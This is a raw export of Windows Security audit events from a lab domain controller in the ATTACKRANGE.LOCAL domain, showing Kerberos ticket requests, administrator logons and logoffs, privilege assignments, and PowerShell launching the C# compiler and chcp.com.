Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257769
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257768
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x54FF8A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257767
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53E24A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257766
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53EBEE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257765
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x54FF8A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257764
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x54FF8A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257763
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257762
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257761
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257760
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x54FF43

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257759
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x54FF43

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257758
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x54FF43
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257757
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257756
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257755
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257754
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x542403

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257753
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x54186E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257752
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x53F29B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257798
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x111c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES854D.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC5F11788FBC874DD79FF5B63FDEC625CA.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257797
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x111c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1a4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\qewgz0nm.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257796
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x553751

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257795
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x553751
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8A2C4067-4C20-C156-3CDF-B00186BA8107}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257794
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{8A2C4067-4C20-C156-3CDF-B00186BA8107}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257793
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{8A2C4067-4C20-C156-3CDF-B00186BA8107}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257792
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257791
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa18
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1a4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257790
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x552384

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257789
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x552384
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8A2C4067-4C20-C156-3CDF-B00186BA8107}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
